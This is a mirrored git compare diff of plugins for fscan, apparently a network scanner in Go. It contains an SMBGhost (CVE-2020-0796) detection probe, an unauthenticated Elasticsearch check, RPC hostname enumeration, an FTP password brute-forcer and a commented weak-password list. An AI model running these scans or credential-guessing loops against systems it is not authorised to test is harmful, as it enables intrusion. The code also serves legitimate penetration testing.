mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-23 03:31:53 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a829660205 | ||
|
|
2343fc1cfb | ||
|
|
43d41844a9 | ||
|
|
cdbd1aebc2 | ||
|
|
38fc6dd0c3 | ||
|
|
f8b4273fc0 | ||
|
|
5032544bbb | ||
|
|
f89feaf89f | ||
|
|
58ae604eea | ||
|
|
83700540f5 | ||
|
|
1598de6ce0 | ||
|
|
8d1b44e82b |
+104
-102
@@ -1,127 +1,129 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
//Ladon Scanner for golang
|
||||||
|
//Author: k8gege
|
||||||
|
//K8Blog: http://k8gege.org
|
||||||
|
//Github: https://github.com/k8gege
|
||||||
import (
|
import (
|
||||||
|
"../common"
|
||||||
"bytes"
|
"bytes"
|
||||||
"fmt"
|
"fmt"
|
||||||
"net"
|
"net"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
pkt = "\x00" + // session
|
pkt =
|
||||||
"\x00\x00\xc0" + // legth
|
"\x00" + // session
|
||||||
|
"\x00\x00\xc0"+ // legth
|
||||||
|
|
||||||
"\xfeSMB@\x00" + // protocol
|
"\xfeSMB@\x00"+ // protocol
|
||||||
|
|
||||||
//[MS-SMB2]: SMB2 NEGOTIATE Request
|
//[MS-SMB2]: SMB2 NEGOTIATE Request
|
||||||
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
|
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
|
||||||
|
|
||||||
"\x00\x00" +
|
"\x00\x00" +
|
||||||
"\x00\x00" +
|
"\x00\x00" +
|
||||||
"\x00\x00" +
|
"\x00\x00" +
|
||||||
"\x00\x00" +
|
"\x00\x00" +
|
||||||
"\x1f\x00" +
|
"\x1f\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
|
|
||||||
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
|
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
|
||||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
|
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
|
||||||
|
|
||||||
"$\x00" +
|
"$\x00" +
|
||||||
"\x08\x00" +
|
"\x08\x00" +
|
||||||
"\x01\x00" +
|
"\x01\x00" +
|
||||||
"\x00\x00" +
|
"\x00\x00" +
|
||||||
"\x7f\x00\x00\x00" +
|
"\x7f\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"x\x00" +
|
"x\x00" +
|
||||||
"\x00\x00" +
|
"\x00\x00" +
|
||||||
"\x02\x00" +
|
"\x02\x00" +
|
||||||
"\x00\x00" +
|
"\x00\x00" +
|
||||||
"\x02\x02" +
|
"\x02\x02" +
|
||||||
"\x10\x02" +
|
"\x10\x02" +
|
||||||
"\x22\x02" +
|
"\x22\x02" +
|
||||||
"$\x02" +
|
"$\x02" +
|
||||||
"\x00\x03" +
|
"\x00\x03" +
|
||||||
"\x02\x03" +
|
"\x02\x03" +
|
||||||
"\x10\x03" +
|
"\x10\x03" +
|
||||||
"\x11\x03" +
|
"\x11\x03" +
|
||||||
"\x00\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
|
|
||||||
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
|
||||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
|
|
||||||
|
|
||||||
"\x01\x00" +
|
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||||
"&\x00" +
|
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x01\x00" +
|
|
||||||
"\x20\x00" +
|
|
||||||
"\x01\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x00\x00" +
|
|
||||||
|
|
||||||
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
|
"\x01\x00" +
|
||||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
|
"&\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x01\x00" +
|
||||||
|
"\x20\x00" +
|
||||||
|
"\x01\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00" +
|
||||||
|
"\x00\x00" +
|
||||||
|
|
||||||
"\x03\x00" +
|
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
|
||||||
"\x0e\x00" +
|
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
|
||||||
"\x00\x00\x00\x00" +
|
|
||||||
"\x01\x00" + //CompressionAlgorithmCount
|
"\x03\x00" +
|
||||||
"\x00\x00" +
|
"\x0e\x00" +
|
||||||
"\x01\x00\x00\x00" +
|
"\x00\x00\x00\x00" +
|
||||||
"\x01\x00" + //LZNT1
|
"\x01\x00" + //CompressionAlgorithmCount
|
||||||
"\x00\x00" +
|
"\x00\x00" +
|
||||||
"\x00\x00\x00\x00"
|
"\x01\x00\x00\x00" +
|
||||||
|
"\x01\x00" + //LZNT1
|
||||||
|
"\x00\x00" +
|
||||||
|
"\x00\x00\x00\x00"
|
||||||
)
|
)
|
||||||
|
func SmbGhost(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
func SmbGhost(info *common.HostInfo) error {
|
SmbGhostScan(info)
|
||||||
err := SmbGhostScan(info)
|
wg.Done()
|
||||||
return err
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func SmbGhostScan(info *common.HostInfo) error {
|
func SmbGhostScan(info *common.HostInfo) {
|
||||||
ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
|
ip,port,timeout := info.Host,445,time.Duration(info.Timeout)*time.Second
|
||||||
addr := fmt.Sprintf("%s:%d", info.Host, port)
|
addr:=fmt.Sprintf("%s:%d",info.Host,port)
|
||||||
conn, err := net.DialTimeout("tcp", addr, timeout)
|
conn, err := net.DialTimeout("tcp", addr, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return
|
||||||
|
} else {
|
||||||
|
conn.Write([]byte(pkt))
|
||||||
|
buff := make([]byte, 1024)
|
||||||
|
err = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||||
|
n, err := conn.Read(buff)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}else {
|
||||||
|
defer conn.Close()
|
||||||
|
if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
|
||||||
|
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable",ip)
|
||||||
|
common.LogSuccess(result)
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
_, err = conn.Write([]byte(pkt))
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
buff := make([]byte, 1024)
|
|
||||||
err = conn.SetReadDeadline(time.Now().Add(timeout))
|
|
||||||
n, err := conn.Read(buff)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer conn.Close()
|
|
||||||
if bytes.Contains(buff[:n], []byte("Public")) == true {
|
|
||||||
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
|
|
||||||
}
|
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
|||||||
+35
-1
@@ -14,5 +14,39 @@ var PluginList = map[string]interface{}{
|
|||||||
"27017":MongodbScan,
|
"27017":MongodbScan,
|
||||||
"1000001": MS17010,
|
"1000001": MS17010,
|
||||||
"1000002": SmbGhost,
|
"1000002": SmbGhost,
|
||||||
"1000003":WebTitle,
|
//"WebTitle":WebTitle,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//var Passwords = []string{"admin123A","123456","admin","root","password","123123","123","1","{user}","{user}{user}","{user}1","{user}123","{user}2016","{user}2015","{user}!","","P@ssw0rd!!","qwa123","12345678","test","123qwe!@#","123456789","123321","1314520","666666","woaini","fuckyou","000000","1234567890","8888888","qwerty","1qaz2wsx","abc123","abc123456","1q2w3e4r","123qwe","p@ssw0rd","p@55w0rd","password!","p@ssw0rd!","password1","r00t","tomcat","apache","system","huawei","admin123","zte"}
|
||||||
|
//const Username = "admin"
|
||||||
|
//const Password = "123456"
|
||||||
|
//const Timeout = 3 * time.Second
|
||||||
|
//const FTPPORT = 21
|
||||||
|
//const SSHPORT = 22
|
||||||
|
//const MEMCACHEDPORT = 11211
|
||||||
|
//const MONGODBPORT = 27017
|
||||||
|
//const MSSQLPORT = 1433
|
||||||
|
//const OraclePORT = 1433
|
||||||
|
//const PSQLPORT = 5432
|
||||||
|
//const REDISPORT = 6379
|
||||||
|
//const MYSQLPORT = 3306
|
||||||
|
//const SMBPORT = 445
|
||||||
|
//const POSTGRESPORT = 5432
|
||||||
|
|
||||||
|
|
||||||
|
//var PluginList = map[string]interface{}{
|
||||||
|
// "ftp": FtpScan,
|
||||||
|
// "mysql": MysqlScan,
|
||||||
|
// //"mongodb":MgoConn,
|
||||||
|
// "mssql":MssqlScan,
|
||||||
|
// "redis": RedisScan,
|
||||||
|
// //"smb": SmbScan,
|
||||||
|
// "ssh": SshScan,
|
||||||
|
// //"portscan": PortConn,
|
||||||
|
// //"icmp": IcmpConn,
|
||||||
|
// "postgresql": PostgresScan,
|
||||||
|
// //"urlscan":UrlConn,
|
||||||
|
// //"auth":ApacheConn,
|
||||||
|
// //"subdomain":SDConn,
|
||||||
|
// //"memcached":MemConn,
|
||||||
|
//}
|
||||||
+42
-28
@@ -1,57 +1,71 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"crypto/tls"
|
"../common"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io/ioutil"
|
"io/ioutil"
|
||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
func elasticsearchScan(info *common.HostInfo) error {
|
func elasticsearchScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
_, err := geturl2(info)
|
geturl2(info)
|
||||||
return err
|
wg.Done()
|
||||||
|
<-ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func geturl2(info *common.HostInfo) (flag bool, err error) {
|
|
||||||
|
func geturl2(info *common.HostInfo) (flag bool,err error) {
|
||||||
flag = false
|
flag = false
|
||||||
url := fmt.Sprintf("%s:%d/_cat", info.Url, common.PORTList["elastic"])
|
url := fmt.Sprintf("%s:%d/_cat",info.Url,common.PORTList["elastic"])
|
||||||
var client = &http.Client{
|
var client = &http.Client{
|
||||||
Timeout: time.Duration(info.WebTimeout) * time.Second,
|
Transport:&http.Transport{
|
||||||
Transport: &http.Transport{
|
DialContext:(&net.Dialer{
|
||||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
Timeout:time.Duration(info.Timeout)*time.Second,
|
||||||
DisableKeepAlives: false,
|
|
||||||
DialContext: (&net.Dialer{
|
|
||||||
Timeout: time.Duration(info.WebTimeout) * time.Second,
|
|
||||||
}).DialContext,
|
}).DialContext,
|
||||||
},
|
},
|
||||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
CheckRedirect:func(req *http.Request, via []*http.Request) error{
|
||||||
return http.ErrUseLastResponse
|
return http.ErrUseLastResponse
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
res,err:=http.NewRequest("GET",url,nil)
|
||||||
|
if err==nil{
|
||||||
|
res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
||||||
|
res.Header.Add("Accept","*/*")
|
||||||
|
res.Header.Add("Accept-Language","zh-CN,zh;q=0.9")
|
||||||
|
res.Header.Add("Accept-Encoding","gzip, deflate")
|
||||||
|
res.Header.Add("Connection","close")
|
||||||
|
resp,err:=client.Do(res)
|
||||||
|
|
||||||
res, err := http.NewRequest("GET", url, nil)
|
if err==nil{
|
||||||
if err == nil {
|
|
||||||
res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
|
||||||
res.Header.Add("Accept", "*/*")
|
|
||||||
res.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
|
|
||||||
res.Header.Add("Accept-Encoding", "gzip, deflate")
|
|
||||||
res.Header.Add("Connection", "close")
|
|
||||||
resp, err := client.Do(res)
|
|
||||||
|
|
||||||
if err == nil {
|
|
||||||
defer resp.Body.Close()
|
defer resp.Body.Close()
|
||||||
body, _ := ioutil.ReadAll(resp.Body)
|
body, _ := ioutil.ReadAll(resp.Body)
|
||||||
if strings.Contains(string(body), "/_cat/master") {
|
if strings.Contains(string(body),"/_cat/master"){
|
||||||
result := fmt.Sprintf("Elastic:%s unauthorized", url)
|
result := fmt.Sprintf("Elastic:%s unauthorized",url)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag,err
|
||||||
|
|
||||||
|
//fmt.Print("\n")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//if info.Cookie!=""{
|
||||||
|
// res.Header.Add("Cookie",info.Cookie)
|
||||||
|
//}
|
||||||
|
//if info.Header!=""{
|
||||||
|
// var header = make(map[string]string)
|
||||||
|
// err:=json.Unmarshal([]byte(info.Header),&header)
|
||||||
|
// if err!=nil{
|
||||||
|
// Misc.CheckErr(err)
|
||||||
|
// }
|
||||||
|
// for k,v:=range header{
|
||||||
|
// res.Header.Add(k,v)
|
||||||
|
// }
|
||||||
|
//}
|
||||||
+39
-42
@@ -2,80 +2,77 @@ package Plugins
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
"encoding/hex"
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"net"
|
"net"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
//"encoding/binary"
|
||||||
|
"encoding/hex"
|
||||||
|
"fmt"
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"../common"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
buffer_v1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||||
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
buffer_v2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
||||||
bufferV3, _ = hex.DecodeString("0900ffff0000")
|
buffer_v3, _ = hex.DecodeString("0900ffff0000")
|
||||||
)
|
|
||||||
|
|
||||||
func Findnet(info *common.HostInfo) error {
|
)
|
||||||
err := FindnetScan(info)
|
func Findnet(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
return err
|
FindnetScan(info)
|
||||||
|
wg.Done()
|
||||||
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func FindnetScan(info *common.HostInfo) error {
|
func FindnetScan(info *common.HostInfo) {
|
||||||
realhost := fmt.Sprintf("%s:%d", info.Host, 135)
|
realhost:=fmt.Sprintf("%s:%d",info.Host,135)
|
||||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
|
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second)
|
||||||
if err != nil {
|
if err != nil{
|
||||||
return err
|
return
|
||||||
}
|
|
||||||
err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second))
|
||||||
defer conn.Close()
|
defer conn.Close()
|
||||||
_, err = conn.Write(bufferV1)
|
conn.Write(buffer_v1)
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
reply := make([]byte, 4096)
|
reply := make([]byte, 4096)
|
||||||
_, err = conn.Read(reply)
|
_, err = conn.Read(reply)
|
||||||
if err != nil {
|
if err != nil{
|
||||||
return err
|
return
|
||||||
}
|
|
||||||
_, err = conn.Write(bufferV2)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
conn.Write(buffer_v2)
|
||||||
if n, err := conn.Read(reply); err != nil || n < 42 {
|
if n, err := conn.Read(reply); err != nil || n < 42 {
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
text := reply[42:]
|
text := reply[42:]
|
||||||
flag := true
|
flag := true
|
||||||
for i := 0; i < len(text)-5; i++ {
|
for i := 0; i < len(text)-5; i++ {
|
||||||
if bytes.Equal(text[i:i+6], bufferV3) {
|
if bytes.Equal(text[i:i+6], buffer_v3){
|
||||||
text = text[:i-4]
|
text = text[:i-4]
|
||||||
flag = false
|
flag = false
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if flag {
|
if flag{
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
err = read(text, info.Host)
|
read(text,info.Host)
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
func read(text []byte, host string) error {
|
func read(text []byte,host string) {
|
||||||
encodedStr := hex.EncodeToString(text)
|
encodedStr := hex.EncodeToString(text)
|
||||||
hostnames := strings.Replace(encodedStr, "0700", "", -1)
|
hostnames := strings.Replace(encodedStr, "0700", "", -1)
|
||||||
hostname := strings.Split(hostnames, "000000")
|
hostname := strings.Split(hostnames, "000000")
|
||||||
result := "NetInfo:\n[*]" + host
|
result := "NetInfo:\n[*]"+host
|
||||||
for i := 0; i < len(hostname); i++ {
|
for i := 0; i < len(hostname); i++ {
|
||||||
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
|
hostname[i] = strings.Replace(hostname[i], "00", "", -1)
|
||||||
host, err := hex.DecodeString(hostname[i])
|
host,err := hex.DecodeString(hostname[i])
|
||||||
if err != nil {
|
if err != nil{
|
||||||
return err
|
return
|
||||||
}
|
}
|
||||||
result += "\n [->]" + string(host)
|
result += "\n [->]"+string(host)
|
||||||
|
//result += "\n ["+string(host)+"]"
|
||||||
}
|
}
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
+22
-38
@@ -1,57 +1,41 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"../common"
|
||||||
"github.com/jlaffaye/ftp"
|
"github.com/jlaffaye/ftp"
|
||||||
"github.com/shadow1ng/fscan/common"
|
"fmt"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func FtpScan(info *common.HostInfo) (tmperr error) {
|
func FtpScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
for _, user := range common.Userdict["ftp"] {
|
Loop:
|
||||||
for _, pass := range common.Passwords {
|
for _,user:=range common.Userdict["ftp"]{
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
for _,pass:=range common.Passwords{
|
||||||
flag, err := FtpConn(info, user, pass)
|
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||||
if flag == true && err == nil {
|
flag,err := FtpConn(info,user,pass,ch,wg)
|
||||||
return err
|
if flag==true && err==nil {
|
||||||
} else {
|
break Loop
|
||||||
errlog := fmt.Sprintf("[-] ftp %v %v %v %v %v", info.Host, common.PORTList["ftp"], user, pass, err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
tmperr = err
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
wg.Done()
|
||||||
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func FtpConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||||
flag = false
|
flag = false
|
||||||
Host, Port, Username, Password := info.Host, common.PORTList["ftp"], user, pass
|
Host,Port,Username,Password := info.Host, common.PORTList["ftp"],user, pass
|
||||||
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.Timeout)*time.Second)
|
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v",Host,Port), time.Duration(info.Timeout)*time.Second)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
err = conn.Login(Username, Password)
|
err = conn.Login(Username,Password)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
flag = true
|
defer conn.Logout()
|
||||||
result := fmt.Sprintf("FTP:%v:%v:%v %v", Host, Port, Username, Password)
|
result := fmt.Sprintf("FTP:%v:%v:%v %v",Host,Port,Username,Password)
|
||||||
dirs, err := conn.List("")
|
|
||||||
//defer conn.Logout()
|
|
||||||
if err == nil {
|
|
||||||
if len(dirs) > 0 {
|
|
||||||
for i := 0; i < len(dirs); i++ {
|
|
||||||
if len(dirs[i].Name) > 50 {
|
|
||||||
result += "\n [->]" + dirs[i].Name[:50]
|
|
||||||
} else {
|
|
||||||
result += "\n [->]" + dirs[i].Name
|
|
||||||
}
|
|
||||||
if i == 5 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag,err
|
||||||
}
|
}
|
||||||
+125
-104
@@ -2,9 +2,8 @@ package Plugins
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
|
"encoding/binary"
|
||||||
"fmt"
|
"fmt"
|
||||||
"golang.org/x/net/icmp"
|
|
||||||
"log"
|
|
||||||
"net"
|
"net"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
@@ -15,129 +14,162 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
var icmp ICMP
|
||||||
|
|
||||||
var AliveHosts []string
|
var AliveHosts []string
|
||||||
|
|
||||||
var SysInfo = GetSys()
|
type ICMP struct {
|
||||||
|
Type uint8
|
||||||
|
Code uint8
|
||||||
|
Checksum uint16
|
||||||
|
Identifier uint16
|
||||||
|
SequenceNum uint16
|
||||||
|
}
|
||||||
|
|
||||||
type SystemInfo struct {
|
type SystemInfo struct {
|
||||||
OS string
|
OS string
|
||||||
HostName string
|
ARCH string
|
||||||
Groupid string
|
HostName string
|
||||||
Userid string
|
Groupid string
|
||||||
Username string
|
Userid string
|
||||||
|
Username string
|
||||||
|
UserHomeDir string
|
||||||
}
|
}
|
||||||
|
|
||||||
func GetSys() SystemInfo {
|
func GetSys() SystemInfo {
|
||||||
var sysinfo SystemInfo
|
var sysinfo SystemInfo
|
||||||
|
|
||||||
sysinfo.OS = runtime.GOOS
|
sysinfo.OS = runtime.GOOS
|
||||||
|
sysinfo.ARCH = runtime.GOARCH
|
||||||
name, err := os.Hostname()
|
name, err := os.Hostname()
|
||||||
if err == nil {
|
if err == nil {
|
||||||
sysinfo.HostName = name
|
sysinfo.HostName = name
|
||||||
} else {
|
|
||||||
name = "none"
|
|
||||||
}
|
}
|
||||||
|
|
||||||
u, err := user.Current()
|
u, err := user.Current()
|
||||||
if err == nil {
|
sysinfo.Groupid = u.Gid
|
||||||
sysinfo.Groupid = u.Gid
|
sysinfo.Userid = u.Uid
|
||||||
sysinfo.Userid = u.Uid
|
sysinfo.Username = u.Username
|
||||||
sysinfo.Username = u.Username
|
sysinfo.UserHomeDir = u.HomeDir
|
||||||
} else {
|
|
||||||
sysinfo.Groupid = "1"
|
|
||||||
sysinfo.Userid = "1"
|
|
||||||
sysinfo.Username = name
|
|
||||||
}
|
|
||||||
|
|
||||||
return sysinfo
|
return sysinfo
|
||||||
}
|
}
|
||||||
|
|
||||||
func IcmpCheck(hostslist []string) {
|
func isping(ip string) bool {
|
||||||
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
|
icmp.Type = 8
|
||||||
endflag := false
|
icmp.Code = 0
|
||||||
|
icmp.Checksum = 0
|
||||||
|
icmp.Identifier = 0
|
||||||
|
icmp.SequenceNum = 0
|
||||||
|
|
||||||
|
recvBuf := make([]byte, 32)
|
||||||
|
var buffer bytes.Buffer
|
||||||
|
|
||||||
|
binary.Write(&buffer, binary.BigEndian, icmp)
|
||||||
|
icmp.Checksum = CheckSum(buffer.Bytes())
|
||||||
|
|
||||||
|
buffer.Reset()
|
||||||
|
binary.Write(&buffer, binary.BigEndian, icmp)
|
||||||
|
|
||||||
|
Time, _ := time.ParseDuration("2s")
|
||||||
|
conn, err := net.DialTimeout("ip4:icmp", ip, Time)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatal(err)
|
return false
|
||||||
|
}
|
||||||
|
_, err = conn.Write(buffer.Bytes())
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
conn.SetReadDeadline(time.Now().Add(time.Second * 2))
|
||||||
|
num, err := conn.Read(recvBuf)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
}
|
}
|
||||||
var chanHosts = make(chan string)
|
|
||||||
go func() {
|
|
||||||
for {
|
|
||||||
if endflag == true {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
msg := make([]byte, 100)
|
|
||||||
_, sourceIP, _ := conn.ReadFrom(msg)
|
|
||||||
if sourceIP != nil {
|
|
||||||
chanHosts <- sourceIP.String()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
|
|
||||||
go func() {
|
conn.SetReadDeadline(time.Time{})
|
||||||
for ip := range chanHosts {
|
|
||||||
if !IsContain(AliveHosts, ip) {
|
|
||||||
fmt.Printf("(icmp) Target '%s' is alive\n", ip)
|
|
||||||
AliveHosts = append(AliveHosts, ip)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
|
|
||||||
for _, host := range hostslist {
|
if string(recvBuf[0:num]) != "" {
|
||||||
write(host, conn)
|
fmt.Printf("(ICMP) Target '%s' is alive\n",ip)
|
||||||
|
return true
|
||||||
}
|
}
|
||||||
if len(hostslist) > 10 {
|
return false
|
||||||
time.Sleep(6 * time.Second)
|
|
||||||
} else {
|
|
||||||
time.Sleep(3 * time.Second)
|
|
||||||
}
|
|
||||||
endflag = true
|
|
||||||
close(chanHosts)
|
|
||||||
conn.Close()
|
|
||||||
}
